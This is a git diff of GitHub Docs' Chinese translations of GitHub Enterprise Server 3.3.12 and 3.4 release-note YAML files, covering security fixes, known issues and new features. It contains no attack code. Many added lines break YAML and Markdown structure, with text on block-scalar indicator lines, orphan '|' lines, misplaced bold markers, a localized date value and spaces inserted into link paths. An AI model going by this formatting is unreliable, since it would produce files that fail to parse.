b/translations/zh-CN/data/release-notes/enterprise-server/3-3/12.yml @@ -1,23 +1,24 @@ date: '2022-08-11' sections: security_fixes: - - | - **CRITICAL**: GitHub Enterprise Server's Elasticsearch container used a version of OpenJDK 8 that was vulnerable to an integer truncation issue when processing malicious XSLT stylesheets. The vulnerability is tracked as [CVE-2022-34169](https://github.com/advisories/GHSA-9339-86wc-4qgf). - - | - **HIGH**: Previously installed apps on user accounts were automatically granted permission to access an organization on scoped access tokens after the user account was transformed into an organization account. This vulnerability was reported via the [GitHub Bug Bounty program](https://bounty.github.com). + - |严重****:GitHub Enterprise Server 的 Elasticsearch 容器使用的 OpenJDK 8 版本在处理恶意 XSLT 样式表时容易出现整数截断问题。该漏洞的编号为 [CVE-2022-34169](https://github.com/advisories/GHSA-9339-86wc-4qgf)。 + +| + - |高****:在用户帐户转换为组织帐户后,用户帐户上以前安装的应用程序会自动获得访问作用域内访问令牌上的组织的权限。此漏洞是通过 [GitHub Bug 赏金计划](https://bounty.github.com)报告的。 + +| bugs: - - When a custom dormancy threshold was set for the instance, suspending all dormant users did not reliably respect the threshold. For more information about dormancy, see "[Managing dormant users](/admin/user-management/managing-users-in-your-enterprise/managing-dormant-users)." + - "当为实例设置自定义休眠阈值时,暂停所有休眠用户并不能可靠地遵从阈值。有关休眠的详细信息,请参阅“[管理休眠用户](/admin/user-management/managing-users-in-your-enterprise/managing-dormant-users)”。" changes: - - The enterprise audit log now includes more user-generated events, such as `project.create`. The REST API also returns additional user-generated events, such as `repo.create`. For more information, see "[Accessing the audit log for your enterprise](/admin/monitoring-activity-in-your-enterprise/reviewing-audit-logs-for-your-enterprise/accessing-the-audit-log-for-your-enterprise)" and "[Using the audit log API for your enterprise](/admin/monitoring-activity-in-your-enterprise/reviewing-audit-logs-for-your-enterprise/using-the-audit-log-api-for-your-enterprise#querying-the-audit-log-rest-api)." + - "企业审核日志现在包含更多用户生成的事件,例如 `project.create`。REST API 还返回其他用户生成的事件,例如 `repo.create`。有关详细信息,请参阅“[访问企业的审核日志](/admin/monitoring-activity-in-your-enterprise/reviewing-audit-logs-for-your-enterprise/accessing-the-audit-log-for -your-enterprise)”和“[使用企业的审核日志 API](/admin/monitoring-activity-in-your-enterprise/reviewing-audit-logs-for-your-enterprise/using-the-audit- log-api-for-your-enterprise#querying-the-audit-log-rest-api)”。" known_issues: - - After upgrading to {% data variables.product.prodname_ghe_server %} 3.3, {% data variables.product.prodname_actions %} may fail to start automatically. To resolve this issue, connect to the appliance via SSH and run the `ghe-actions-start` command. - - On a freshly set up {% data variables.product.prodname_ghe_server %} instance without any users, an attacker could create the first admin user. - - Custom firewall rules are removed during the upgrade process. - - Git LFS tracked files [uploaded through the web interface](https://github.com/blog/2105-upload-files-to-your-repositories) are incorrectly added directly to the repository. - - Issues cannot be closed if they contain a permalink to a blob in the same repository, where the blob's file path is longer than 255 characters. - - When "Users can search GitHub.com" is enabled with {% data variables.product.prodname_github_connect %}, issues in private and internal repositories are not included in {% data variables.product.prodname_dotcom_the_website %} search results. - - The {% data variables.product.prodname_registry %} npm registry no longer returns a time value in metadata responses. This was done to allow for substantial performance improvements. We continue to have all the data necessary to return a time value as part of the metadata response and will resume returning this value in the future once we have solved the existing performance issues. - - Resource limits that are specific to processing pre-receive hooks may cause some pre-receive hooks to fail. - - '{% data variables.product.prodname_actions %} storage settings cannot be validated and saved in the {% data variables.enterprise.management_console %} when "Force Path Style" is selected, and must instead be configured with the `ghe-actions-precheck` command line utility.' + - "升级到 {% data variables.product.prodname_ghe_server %} 3.3 后,{% data variables.product.prodname_actions %} 可能无法自动启动。若要解决此问题,请通过 SSH 连接到设备并运行 `ghe-actions-start` 命令。" + - "在新建的没有任何用户的 {% data variables.product.prodname_ghe_server %} 实例上,攻击者可以创建第一个管理员用户。" + - 自定义防火墙规则在升级过程中被删除。 + - "[通过 Web 界面上传](https://github.com/blog/2105-upload-files-to-your-repositories)的 Git LFS 跟踪文件被错误地直接添加到存储库。" + - 如果问题包含文件路径长于 255 个字符的同一存储库中 blob 的永久链接,则问题无法关闭。 + - "对 {% data variables.product.prodname_github_connect %} 启用“用户可以搜索 GitHub.com”后,专用和内部存储库中的问题不包括在 {% data variables.product.prodname_dotcom_the_website %} 搜索结果中。" + - "{% data variables.product.prodname_registry %} npm 注册表不再在元数据响应中返回时间值。这样可以大幅改善性能。作为元数据响应的一部分,我们继续拥有返回时间值所需的所有数据,并将在我们解决现有性能问题后恢复返回这个值。" + - 特定于处理预接收挂钩的资源限制可能导致部分预接收挂钩失败。 + - '选择“强制路径样式”时,无法验证 {% data variables.product.prodname_actions %} 存储设置并将其保存在 {% data variables.enterprise.management_console %} 中,而必须使用 `ghe-actions-precheck` 命令行实用程序进行配置。' - '{% data reusables.release-notes.ghas-3.4-secret-scanning-known-issue %}' - - The [file finder](/search-github/searching-on-github/finding-files-on-github) does not return any results. To restore functionality, reinstall the 3.3.12 patch release using a full upgrade package. For more information, see "[Upgrading GitHub Enterprise Server](/admin/enterprise-management/updating-the-virtual-machine-and-physical-resources/upgrading-github-enterprise-server#upgrading-with-an-upgrade-package)." \ No newline at end of file diff --git a/translations/zh-CN/data/release-notes/enterprise-server/3-4/0-rc1.yml b/translations/zh-CN/data/release-notes/enterprise-server/3-4/0-rc1.yml index 534c6d7f00..078587bc98 100644 --- a/translations/zh-CN/data/release-notes/enterprise-server/3-4/0-rc1.yml +++ b/translations/zh-CN/data/release-notes/enterprise-server/3-4/0-rc1.yml @@ -1,223 +1,235 @@ -date: '2022-02-15' +date: '2022 年 2 月 15 日' release_candidate: true deprecated: true intro: | {% note %} - - **Note:** If {% data variables.location.product_location %} is running a release candidate build, you can't upgrade with a hotpatch. We recommend only running release candidates on test environments. - + + 注意:如果 {% data variables.product.product_location %} 正在运行候选发布版本,则无法使用热补丁升级****。建议仅在测试环境中运行候选发布版本。 + {% endnote %} - - For upgrade instructions, see "[Upgrading {% data variables.product.prodname_ghe_server %}](/admin/enterprise-management/updating-the-virtual-machine-and-physical-resources/upgrading-github-enterprise-server)." - - > This release is dedicated to our colleague and friend John, a Hubber who was always there to help. You will be greatly missed. + + 有关升级说明,请参阅“[升级 {% data variables.product.prodname_ghe_server %}](/admin/enterprise-management/updating-the-virtual-machine-and-physical-resources/upgrading-github-enterprise-server)”。 + + > 此版本献给我们的同事兼朋友 John,一位一直在帮助我们的 Hubber。我们非常想念你。 > - > **John "Ralph" Wiebalk 1986–2021** - + > John "Ralph" Wiebalk 1986–2021**** sections: features: - - heading: Secret scanning REST API now returns locations + - heading: 机密扫描 REST API 现在会返回位置 notes: # https://github.com/github/releases/issues/1642 - - | - {% data variables.product.prodname_GH_advanced_security %} customers can now use the REST API to retrieve commit details of secrets detected in private repository scans. The new endpoint returns details of a secret's first detection within a file, including the secret's location and commit SHA. For more information, see "[Secret scanning](/rest/reference/secret-scanning)" in the REST API documentation. + - |{% data variables.product.prodname_GH_advanced_security %} 客户现可使用 REST API 检索在专用存储库扫描中检测到的机密的提交详细信息。新终结点返回文件中首次检测到机密的详细信息,包括机密的位置和提交 SHA。有关详细信息,请参阅 REST API 文档中的“[机密扫描](/rest/reference/secret-scanning)”。 - - heading: Export license data of committer-based billing for GitHub Advanced Security +| + - heading: 导出 GitHub 高级安全性计费(基于提交者)许可证数据 notes: # https://github.com/github/releases/issues/1757 - - | - Enterprise and organization owners can now export their {% data variables.product.prodname_GH_advanced_security %} license usage data to a CSV file. The {% data variables.product.prodname_advanced_security %} billing data can also be retrieved via billing endpoints in the REST API. For more information, see the "[{% data variables.product.prodname_dotcom %} changelog](https://github.blog/changelog/2021-11-11-export-github-advanced-security-license-usage-data/)." + - |企业和组织所有者现可将其 {% data variables.product.prodname_GH_advanced_security %} 许可证使用情况数据导出到 CSV 文件。还可通过 REST API 中的计费终结点检索 {% data variables.product.prodname_advanced_security %} 计费数据。有关详细信息,请参阅“[{% data variables.product.prodname_dotcom %} changelog](https://github.blog/changelog/2021-11-11-export-github-advanced-security-license-usage-data/)”。 - - heading: GitHub Actions reusable workflows in public beta +| + - heading: GitHub Actions 可重用工作流(公共 Beta 版本) notes: # https://github.com/github/releases/issues/1541 - - | - You can now reuse entire workflows as if they were an action. This feature is available in public beta. Instead of copying and pasting workflow definitions across repositories, you can now reference an existing workflow with a single line of configuration. For more information, see the "[{% data variables.product.prodname_dotcom %} changelog](https://github.blog/changelog/2021-10-05-github-actions-dry-your-github-actions-configuration-by-reusing-workflows/)." + - |现可重用整个工作流,就像它们是一个操作一样。此功能目前以公共 Beta 版本提供。现可使用一行配置来引用现有工作流,而不必跨存储库复制和粘贴工作流定义。有关详细信息,请参阅“[{% data variables.product.prodname_dotcom %} changelog](https://github.blog/changelog/2021-10-05-github-actions-dry-your-github-actions-configuration-by-reusing-workflows/)”。 - - heading: Dependabot security and version updates in public beta +| + - heading: Dependabot 安全性和版本更新(公共 Beta 版本) notes: # https://github.com/github/releases/issues/2004 - - | - {% data variables.product.prodname_dependabot %} is now available in {% data variables.product.prodname_ghe_server %} 3.4 as a public beta, offering both version updates and security updates for several popular ecosystems. {% data variables.product.prodname_dependabot %} on {% data variables.product.prodname_ghe_server %} requires {% data variables.product.prodname_actions %} and a pool of self-hosted runners configured for {% data variables.product.prodname_dependabot %} use. {% data variables.product.prodname_dependabot %} on {% data variables.product.prodname_ghe_server %} also requires {% data variables.product.prodname_github_connect %} and {% data variables.product.prodname_dependabot %} to be enabled by an administrator. Beta feedback and suggestions can be shared in the [{% data variables.product.prodname_dependabot %} Feedback GitHub discussion](https://github.com/community/community/discussions/categories/dependabot). For more information and to try the beta, see "[Setting up {% data variables.product.prodname_dependabot %} security and version updates on your enterprise](/admin/github-actions/enabling-github-actions-for-github-enterprise-server/setting-up-dependabot-updates)." + - |{% data variables.product.prodname_dependabot %} 现已在 {% data variables.product.prodname_ghe_server %} 3.4 中作为公共 Beta 版本提供,并为多个常见的生态系统提供版本更新和安全更新。{% data variables.product.prodname_ghe_server %} 上的 {% data variables.product.prodname_dependabot %} 需要配置 {% data variables.product.prodname_actions %} 和自承载运行器池,供 {% data variables.product.prodname_dependabot %} 使用。{% data variables.product.prodname_ghe_server %} 上的 {% data variables.product.prodname_dependabot %} 还需要管理员启用 {% data variables.product.prodname_github_connect %} 和 {% data variables.product.prodname_dependabot %}。Beta 版本的反馈和建议可以在 [{% data variables.product.prodname_dependabot %} 反馈 GitHub 讨论](https://github.com/community/community/discussions/categories/dependabot)中共享。如需了解详细信息并试用 Beta 版本,请参阅“[在企业中设置 {% data variables.product.prodname_dependabot %} 安全性和版本更新](/admin/github-actions/enabling-github-actions-for-github-enterprise-server/setting-up-dependabot-updates)”。 +| changes: - - heading: Administration Changes + - heading: 管理更改 notes: # https://github.com/github/releases/issues/1657 - - Users can now choose the number of spaces a tab is equal to, by setting their preferred tab size in the "Appearance" settings of their user account. All code with a tab indent will render using the preferred tab size. + - 用户现可选择一个制表符等于的空格数,方法是在其用户帐户的“外观”设置中设置其首选制表符大小。所有带制表符缩进的代码都将使用首选制表符大小呈现。 # https://github.com/github/releases/issues/2062 - - The {% data variables.product.prodname_github_connect %} data connection record now includes a count of the number of active and dormant users and the configured dormancy period. + - "{% data variables.product.prodname_github_connect %} 数据连接记录现在包括活动和休眠用户数量计数以及配置的休眠期。" - - heading: Performance Changes + - heading: 性能更改 notes: # https://github.com/github/releases/issues/2031 - - WireGuard, used to secure communication between {% data variables.product.prodname_ghe_server %} instances in a High Availability configuration, has been migrated to the Kernel implementation. + - "用于保护高可用性配置中 {% data variables.product.prodname_ghe_server %} 实例之间通信的 WireGuard 已迁移到内核实现。" - - heading: Notification Changes + - heading: 通知更改 notes: # https://github.com/github/releases/issues/1801 - - Organization owners can now unsubscribe from email notifications when new deploy keys are added to repositories belonging to their organizations. For more information, see "[Configuring notifications](/account-and-profile/managing-subscriptions-and-notifications-on-github/setting-up-notifications/configuring-notifications)." + - "组织所有者现可在将新的部署密钥添加到属于其组织的存储库时取消订阅电子邮件通知。有关详细信息,请参阅“[配置通知](/account-and-profile/managing-subscriptions-and-notifications-on-github/setting-up-notifications/configuring-notifications)”。" # https://github.com/github/releases/issues/1714 - - 'Notification emails from newly created issues and pull requests now include `(Issue #xx)` or `(PR #xx)` in the email subject, so you can recognize and filter emails that reference these types of issues.' + - '来自新创建的问题和拉取请求的通知电子邮件目前在电子邮件主题中包含 `(Issue #xx)` 或 `(PR #xx)`,因此你可以识别和筛选引用这些问题类型的电子邮件。' - - heading: Organization Changes + - heading: 组织更改 notes: # https://github.com/github/releases/issues/1509 - - Organizations can now display a `README.md` file on their profile Overview. For more information, see the "[{% data variables.product.prodname_dotcom %} changelog](https://github.blog/changelog/2021-09-14-readmes-for-organization-profiles/)." + - "组织现可在其配置文件概述中显示 `README.md` 文件。有关详细信息,请参阅“[{% data variables.product.prodname_dotcom %} changelog](https://github.blog/changelog/2021-09-14-readmes-for-organization-profiles/)”。" # https://github.com/github/releases/issues/1883 - - Members of organizations can now view a list of their enterprise owners under the organization's "People" tab. The enterprise owners list is also now accessible using the GraphQL API. For more information, see the "[`enterpriseOwners`](/graphql/reference/objects#organization)" field under the Organization object in the GraphQL API documentation. + - "组织成员现可在组织的“人员”选项卡下查看其企业所有者的列表。企业所有者列表现在也可使用 GraphQL API 进行访问。有关详细信息,请参阅 GraphQL API 文档中 Organization 对象下的“[`enterpriseOwners`](/graphql/reference/objects#organization)”字段。" - - heading: Repositories changes + - heading: 存储库更改 notes: # https://github.com/github/releases/issues/1944 - - | - A "Manage Access" section is now shown on the "Collaborators and teams" page in your repository settings. The new section makes it easier for repository administrators to see and manage who has access to their repository, and the level of access granted to each user. Administrators can now: + - |“管理访问权限”部分现在显示在存储库设置的“协作者和团队”页上。新部分使存储库管理员能够更轻松地查看和管理谁有权访问其存储库,以及授予每个用户的访问权限级别。管理员现在可以: - * Search all members, teams and collaborators who have access to the repository. - * View when members have mixed role assignments, granted to them directly as individuals or indirectly via a team. This is visualized through a new "mixed roles" warning, which displays the highest level role the user is granted if their permission level is higher than their assigned role. - * Manage access to popular repositories reliably, with page pagination and fewer timeouts when large groups of users have access. + +* 搜索有权访问存储库的所有成员、团队和协作者。 + +* 查看成员何时具有以个人身份直接授予或通过团队间接授予他们的混合角色分配。此信息通过新的“混合角色”警告直观呈现,如果用户的权限级别高于其分配到的角色,则该警告会显示授予用户的最高级别角色。 + +* 可靠地管理对常用存储库的访问,当大量用户具有访问权限时,可使用页面分页功能且超时更少。 + +| # https://github.com/github/releases/issues/1748 - - '{% data variables.product.prodname_ghe_server %} 3.4 includes improvements to the repository invitation experience, such as notifications for private repository invites, a UI prompt when visiting a private repository you have a pending invitation for, and a banner on a public repository overview page when there is an pending invitation.' + - '{% data variables.product.prodname_ghe_server %} 3.4 包括对存储库邀请体验的改进,例如专用存储库邀请通知、访问具有待处理邀请的专用存储库时的 UI 提示,以及具有待处理邀请时在公共存储库概述页面上显示的横幅。' # https://github.com/github/releases/issues/1739 - - You can now use single-character prefixes for custom autolinks. Autolink prefixes also now allow `.`, `-`, `_`, `+`, `=`, `:`, `/`, and `#` characters, as well as alphanumerics. For more information about custom autolinks, see "[Configuring autolinks to reference external resources](/repositories/managing-your-repositorys-settings-and-features/managing-repository-settings/configuring-autolinks-to-reference-external-resources)." + - "现可将单字符前缀用于自定义自动链接。自动链接前缀现在还允许使用`.`、`-`、`_`、`+`、`=`、`:`、`/`, 和 `#`字符以及字母数字。有关自定义自动链接的详细信息,请参阅“[配置自动链接以引用外部资源](/repositories/managing-your-repositorys-settings-and-features/managing-repository-settings/configuring-autolinks-to-reference-external-resources)”。" # https://github.com/github/releases/issues/1776 - - A `CODE_OF_CONDUCT.md` file in the root of a repository is now highlighted in the "About" sidebar on the repository overview page. + - 存储库根目录中的 `CODE_OF_CONDUCT.md` 文件现在在存储库概述页上的“关于”边栏中突出显示。 - - heading: 'Releases changes' + - heading: '版本更改' notes: # https://github.com/github/releases/issues/1723 - - '{% data variables.product.prodname_ghe_server %} 3.4 includes improvements to the Releases UI, such as automatically generated release notes which display a summary of all the pull requests for a given release. For more information, see the "[{% data variables.product.prodname_dotcom %} changelog](https://github.blog/changelog/2021-10-20-improvements-to-github-releases-generally-available/)."' + - '{% data variables.product.prodname_ghe_server %} 3.4 包括对版本 UI 的改进,例如自动生成的发行说明,其中会显示给定版本的所有拉取请求的摘要。有关详细信息,请参阅“[{% data variables.product.prodname_dotcom %} changelog](https://github.blog/changelog/2021-10-20-improvements-to-github-releases-generally-available/)”。' # https://github.com/github/releases/issues/1606 - - When a release is published, an avatar list is now displayed at the bottom of the release. Avatars for all user accounts mentioned in the release notes are shown. For more information, see "[Managing releases in a repository](/repositories/releasing-projects-on-github/managing-releases-in-a-repository)." + - "发布版本后,头像列现在会显示在版本底部。将显示发行说明中提到的所有用户帐户的头像。有关详细信息,请参阅“[管理存储库中的发布](/repositories/releasing-projects-on-github/managing-releases-in-a-repository)”。" - - heading: 'Markdown changes' + - heading: 'Markdown 更改' notes: # https://github.com/github/releases/issues/1779 - - You can now use the new "Accessibility" settings page to manage your keyboard shortcuts. You can choose to disable keyboard shortcuts that only use single characters like S, G C, and . (the period key). For more information, see the "[{% data variables.product.prodname_dotcom %} changelog](https://github.blog/changelog/2021-11-16-managing-keyboard-shortcuts-using-accessibility-settings/)." + - "现可使用新的“辅助功能”设置页来管理键盘快捷方式。可以选择禁用仅使用单个字符的键盘快捷方式,如 SGC.(句点键)。有关详细信息,请参阅“[{% data variables.product.prodname_dotcom %} changelog](https://github.blog/changelog/2021-11-16-managing-keyboard-shortcuts-using-accessibility-settings/)”。" # https://github.com/github/releases/issues/1727 - - You can now choose to use a fixed-width font in Markdown-enabled fields, like issue comments and pull request descriptions. For more information, see the "[{% data variables.product.prodname_dotcom %} changelog](https://github.blog/changelog/2021-10-12-fixed-width-font-support-in-markdown-enabled-fields/)." + - "现可选择在启用了 Markdown 的字段(例如问题注释和拉取请求说明)中使用固定宽度的字体。有关详细信息,请参阅“[{% data variables.product.prodname_dotcom %} changelog](https://github.blog/changelog/2021-10-12-fixed-width-font-support-in-markdown-enabled-fields/)”。" # https://github.com/github/releases/issues/1761 - - You can now paste a URL on selected text to quickly create a Markdown link. This works in all Markdown-enabled fields, such as issue comments and pull request descriptions. For more information, see the "[{% data variables.product.prodname_dotcom %} changelog](https://github.blog/changelog/2021-11-10-linkify-selected-text-on-url-paste/)." + - "现可将 URL 粘贴到所选文本上,以快速创建 Markdown 链接。此更改适用于所有启用了 Markdown 的字段,例如问题注释和拉取请求说明。有关详细信息,请参阅“[{% data variables.product.prodname_dotcom %} changelog](https://github.blog/changelog/2021-11-10-linkify-selected-text-on-url-paste/)”。" # https://github.com/github/releases/issues/1758 - - An image URL can now be appended with a theme context, such as `#gh-dark-mode-only`, to define how the Markdown image is displayed to a viewer. For more information, see the "[{% data variables.product.prodname_dotcom %} changelog](https://github.blog/changelog/2021-11-24-specify-theme-context-for-images-in-markdown/)." + - "现可为图像 URL 附加主题上下文(例如 `#gh-dark-mode-only`),以定义如何向查看者显示 Markdown 图像。有关详细信息,请参阅“[{% data variables.product.prodname_dotcom %} changelog](https://github.blog/changelog/2021-11-24-specify-theme-context-for-images-in-markdown/)”。" # https://github.com/github/releases/issues/1686 - - When creating or editing a gist file with the Markdown (`.md`) file extension, you can now use the "Preview" or "Preview Changes" tab to display a Markdown rendering of the file contents. For more information, see the "[{% data variables.product.prodname_dotcom %} changelog](https://github.blog/changelog/2021-11-17-preview-the-markdown-rendering-of-gists/)." + - "创建或编辑具有 Markdown (`.md`) 文件扩展名的 gist 文件时,现可使用“预览”或“预览更改”选项卡来显示文件内容的 Markdown 呈现。有关详细信息,请参阅“[{% data variables.product.prodname_dotcom %} changelog](https://github.blog/changelog/2021-11-17-preview-the-markdown-rendering-of-gists/)”。" # https://github.com/github/releases/issues/1754 - - When typing the name of a {% data variables.product.prodname_dotcom %} user in issues, pull requests and discussions, the @mention suggester now ranks existing participants higher than other {% data variables.product.prodname_dotcom %} users, so that it's more likely the user you're looking for will be listed. + - "在问题、拉取请求和讨论中键入 {% data variables.product.prodname_dotcom %} 用户的名称时,@mention 建议器现在会将现有参与者排在其他 {% data variables.product.prodname_dotcom %} 用户之前,以便列出你更有可能查找的用户。" # https://github.com/github/releases/issues/1636 - - Right-to-left languages are now supported natively in Markdown files, issues, pull requests, discussions, and comments. + - Markdown 文件、问题、拉取请求、讨论和注释中现在对从右向左书写的语言提供原生支持。 - - heading: 'Issues and pull requests changes' + - heading: '问题和拉取请求更改' notes: # https://github.com/github/releases/issues/1731 - - The diff setting to hide whitespace changes in the pull request "Files changed" tab is now retained for your user account for that pull request. The setting you have chosen is automatically reapplied if you navigate away from the page and then revisit the "Files changed" tab of the same pull request. + - 现在为拉取请求的用户帐户保留用于隐藏拉取请求“文件已更改”选项卡中的空格更改的差异设置。如果离开页面,然后重新访问同一拉取请求的“文件已更改”选项卡,则会自动重新应用所选择的设置。 # https://github.com/github/releases/issues/1663 - - When using auto assignment for pull request code reviews, you can now choose to only notify requested team members independently of your auto assignment settings. This setting is useful in scenarios where many users are auto assigned but not all users require notification. For more information, see the "[{% data variables.product.prodname_dotcom %} changelog](https://github.blog/changelog/2021-11-10-team-member-pull-request-review-notifications-can-be-configured-independently-of-auto-assignment/)." + - "使用自动分配进行拉取请求代码评审时,现可独立于自动分配设置,选择仅通知请求的团队成员。在自动分配了许多用户但并非所有用户都需要通知的情况下,此设置很有用。有关详细信息,请参阅“[{% data variables.product.prodname_dotcom %} changelog](https://github.blog/changelog/2021-11-10-team-member-pull-request-review-notifications-can-be-configured-independently-of-auto-assignment/)”。" - - heading: 'Branches changes' + - heading: '分支更改' notes: # https://github.com/github/releases/issues/1526 - - Organization and repository administrators can now trigger webhooks to listen for changes to branch protection rules on their repositories. For more information, see the "[branch_protection_rule](/developers/webhooks-and-events/webhooks/webhook-events-and-payloads#branch_protection_rule)" event in the webhooks events and payloads documentation. + - "组织和存储库管理员现可触发 Webhook 来侦听对其存储库上的分支保护规则的更改。有关详细信息,请参阅 Webhook 事件和有效负载文档中的“[branch_protection_rule](/developers/webhooks-and-events/webhooks/webhook-events-and-payloads#branch_protection_rule)”事件。" # https://github.com/github/releases/issues/1759 - - When configuring protected branches, you can now enforce that a required status check is provided by a specific {% data variables.product.prodname_github_app %}. If a status is then provided by a different application, or by a user via a commit status, merging is prevented. This ensures all changes are validated by the intended application. For more information, see the "[{% data variables.product.prodname_dotcom %} changelog](https://github.blog/changelog/2021-12-01-ensure-required-status-checks-provided-by-the-intended-app/)." + - "配置受保护的分支时,现可强制要求由特定的 {% data variables.product.prodname_github_app %} 提供所需的状态检查。如果状态随后由其他应用程序提供,或者由用户通过提交状态提供,则会阻止合并。这样可确保所有更改都由预期的应用程序进行验证。有关详细信息,请参阅“[{% data variables.product.prodname_dotcom %} changelog](https://github.blog/changelog/2021-12-01-ensure-required-status-checks-provided-by-the-intended-app/)”。" # https://github.com/github/releases/issues/1911 - - Only users with administrator permissions are now able to rename protected branches and modify branch protection rules. Previously, with the exception of the default branch, a collaborator could rename a branch and consequently any non-wildcard branch protection rules that applied to that branch were also renamed. For more information, see "[Renaming a branch](/repositories/configuring-branches-and-merges-in-your-repository/managing-branches-in-your-repository/renaming-a-branch)" and "[Managing a branch protection rule](/repositories/configuring-branches-and-merges-in-your-repository/defining-the-mergeability-of-pull-requests/managing-a-branch-protection-rule)." + - "现在,只有具备管理员权限的用户才能重命名受保护的分支并修改分支保护规则。以前,除默认分支外,协作者可以重命名分支。因此,应用于该分支的任何非通配符分支保护规则也会被重命名。有关详细信息,请参阅“[重命名分支](/repositories/configuring-branches-and-merges-in-your-repository/managing-branches-in-your-repository/renaming-a-branch)”和“[管理分支保护规则](/repositories/configuring-branches-and-merges-in-your-repository/defining-the-mergeability-of-pull-requests/managing-a-branch-protection-rule)”。" # https://github.com/github/releases/issues/1845 - - Administrators can now allow only specific users and teams to bypass pull request requirements. For more information, see the "[{% data variables.product.prodname_dotcom %} changelog](https://github.blog/changelog/2021-11-19-allow-bypassing-required-pull-requests/)." + - "管理员现可只允许特定用户和团队绕过拉取请求要求。有关详细信息,请参阅“[{% data variables.product.prodname_dotcom %} changelog](https://github.blog/changelog/2021-11-19-allow-bypassing-required-pull-requests/)”。" # https://github.com/github/releases/issues/1850 - - Administrators can now allow only specific users and teams to force push to a repository. For more information, see the "[{% data variables.product.prodname_dotcom %} changelog](https://github.blog/changelog/2021-12-21-specify-who-can-force-push-to-a-repository/)." + - "管理员现可只允许特定用户和团队强制推送到存储库。有关详细信息,请参阅“[{% data variables.product.prodname_dotcom %} changelog](https://github.blog/changelog/2021-12-21-specify-who-can-force-push-to-a-repository/)”。" # https://github.com/github/releases/issues/1796 - - When requiring pull requests for all changes to a protected branch, administrators can now choose if approved reviews are also a requirement. For more information, see the "[{% data variables.product.prodname_dotcom %} changelog](https://github.blog/changelog/2021-11-10-require-pull-requests-without-requiring-reviews/)." + - "要求对受保护分支的所有更改使用拉取请求时,管理员现可选择是否还需要批准的评审。有关详细信息,请参阅“[{% data variables.product.prodname_dotcom %} changelog](https://github.blog/changelog/2021-11-10-require-pull-requests-without-requiring-reviews/)”。" - - heading: 'GitHub Actions changes' + - heading: 'GitHub Actions 更改' notes: # https://github.com/github/releases/issues/1906 - - '{% data variables.product.prodname_actions %} workflows triggered by {% data variables.product.prodname_dependabot %} for the `create`, `deployment`, and `deployment_status` events now always receive a read-only token and no secrets. Similarly, workflows triggered by {% data variables.product.prodname_dependabot %} for the `pull_request_target` event on pull requests where the base ref was created by {% data variables.product.prodname_dependabot %}, now always receive a read-only token and no secrets. These changes are designed to prevent potentially malicious code from executing in a privileged workflow. For more information, see "[Automating {% data variables.product.prodname_dependabot %} with {% data variables.product.prodname_actions %}](/code-security/supply-chain-security/keeping-your-dependencies-updated-automatically/automating-dependabot-with-github-actions)."' + - '{% data variables.product.prodname_dependabot %} 针对 `create`、`deployment` 和 `deployment_status` 事件触发的 {% data variables.product.prodname_actions %} 工作流现在始终收到只读令牌,而没有机密。同样,{% data variables.product.prodname_dependabot %} 针对拉取请求上的 `pull_request_target` 事件触发的工作流(其中基 ref 由 {% data variables.product.prodname_dependabot %} 创建)现在始终收到只读令牌,而没有机密。这些更改旨在防止在特权工作流中执行潜在的恶意代码。有关详细信息,请参阅“[使用 {% data variables.product.prodname_actions %} 自动化 {% data variables.product.prodname_dependabot %}](/code-security/supply-chain-security/keeping-your-dependencies-updated-automatically/automating-dependabot-with-github-actions)”。' # https://github.com/github/releases/issues/1667 - - Workflow runs on `push` and `pull_request` events triggered by {% data variables.product.prodname_dependabot %} will now respect the permissions specified in your workflows, allowing you to control how you manage automatic dependency updates. The default token permissions will remain read-only. For more information, see the "[{% data variables.product.prodname_dotcom %} changelog](https://github.blog/changelog/2021-10-06-github-actions-workflows-triggered-by-dependabot-prs-will-respect-permissions-key-in-workflows/)." + - "在 {% data variables.product.prodname_dependabot %} 触发的 `push` 和 `pull_request` 事件上运行的工作流现在将遵循工作流中指定的权限,使你能够控制如何管理自动依赖项更新。默认令牌权限将保持只读。有关详细信息,请参阅“[{% data variables.product.prodname_dotcom %} changelog](https://github.blog/changelog/2021-10-06-github-actions-workflows-triggered-by-dependabot-prs-will-respect-permissions-key-in-workflows/)”。" # https://github.com/github/releases/issues/1668 - - '{% data variables.product.prodname_actions %} workflows triggered by {% data variables.product.prodname_dependabot %} will now be sent the {% data variables.product.prodname_dependabot %} secrets. You can now pull from private package registries in your CI using the same secrets you have configured for {% data variables.product.prodname_dependabot %} to use, improving how {% data variables.product.prodname_actions %} and {% data variables.product.prodname_dependabot %} work together. For more information, see "[Automating {% data variables.product.prodname_dependabot %} with {% data variables.product.prodname_actions %}](/code-security/supply-chain-security/keeping-your-dependencies-updated-automatically/automating-dependabot-with-github-actions)."' + - '{% data variables.product.prodname_dependabot %} 触发的 {% data variables.product.prodname_actions %} 工作流现在将发送到 {% data variables.product.prodname_dependabot %} 机密。现可使用配置给 {% data variables.product.prodname_dependabot %} 使用的相同机密从 CI 中的专用包注册表拉取,这改进了 {% data variables.product.prodname_actions %} 和 {% data variables.product.prodname_dependabot %} 协同工作的方式。有关详细信息,请参阅“[使用 {% data variables.product.prodname_actions %} 自动化 {% data variables.product.prodname_dependabot %}](/code-security/supply-chain-security/keeping-your-dependencies-updated-automatically/automating-dependabot-with-github-actions)”。' # https://github.com/github/releases/issues/1615 - - You can now manage runner groups and see the status of your self-hosted runners using new Runners and Runner Groups pages in the UI. The Actions settings page for your repository or organization now shows a summary view of your runners, and allows you to deep dive into a specific runner to edit it or see what job it may be currently running. For more information, see the "[{% data variables.product.prodname_dotcom %} changelog](https://github.blog/changelog/2021-09-20-github-actions-experience-refresh-for-the-management-of-self-hosted-runners/)." + - "现可使用 UI 中新的“运行器”和“运行器组”页面管理运行器组并查看自承载运行器的状态。存储库或组织的“Actions 设置”页面现在会显示运行器的摘要视图,并使你能够深入了解特定运行器以对其进行编辑或查看当前可能正在运行的作业。有关详细信息,请参阅“[{% data variables.product.prodname_dotcom %} changelog](https://github.blog/changelog/2021-09-20-github-actions-experience-refresh-for-the-management-of-self-hosted-runners/)”。" # https://github.com/github/releases/issues/1785 - - 'Actions authors can now have their action run in Node.js 16 by specifying [`runs.using` as `node16` in the action''s `action.yml`](/actions/creating-actions/metadata-syntax-for-github-actions#runs-for-javascript-actions). This is in addition to the existing Node.js 12 support; actions can continue to specify `runs.using: node12` to use the Node.js 12 runtime.' + - 'Actions 作者现可通过[在操作的 `action.yml` 中将 `runs.using` 指定为 `node16`](/actions/creating-actions/metadata-syntax-for-github-actions#runs-for-javascript-actions),从而在 Node.js 16 中运行其操作。这是对现有 Node.js 12 